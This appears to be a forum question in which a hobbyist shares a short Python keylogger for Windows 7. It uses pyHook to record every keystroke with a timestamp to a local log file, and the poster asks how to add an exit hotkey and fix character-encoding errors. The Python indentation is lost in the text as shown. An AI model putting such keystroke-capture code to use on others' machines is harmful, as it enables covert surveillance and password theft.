I'm writing my own simple key logger based on a script I found online. However, I'm trying to write a key command so that the logger program will close when this command is typed. How should I go about this? (Also I know it's not secure at all, however that's not a concern with this program)
For example Ctrl + 'exit' would close the program.
Also It sometimes won't print certain character properly in the .log file it creates, what could be causing this? (I think the character encouding type may be causeing this problem)
#Key Logger
#By: K.B. Carte
#Version 1.0
################
import pythoncom, pyHook, sys, logging, time
LOG_FILENAME = 'C:\KeyLog\log.out'
def OnKeyboardEvent(event):
keytime = time.strftime('%I:%M %S %p %A %B %d, %Y ')
logging.basicConfig(filename=LOG_FILENAME,
level=logging.DEBUG,
format='%(message)s')
logging.log(10, keytime + "Key: '" + chr(event.Ascii) + "'")
return True
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
This is in Windows 7, BTW.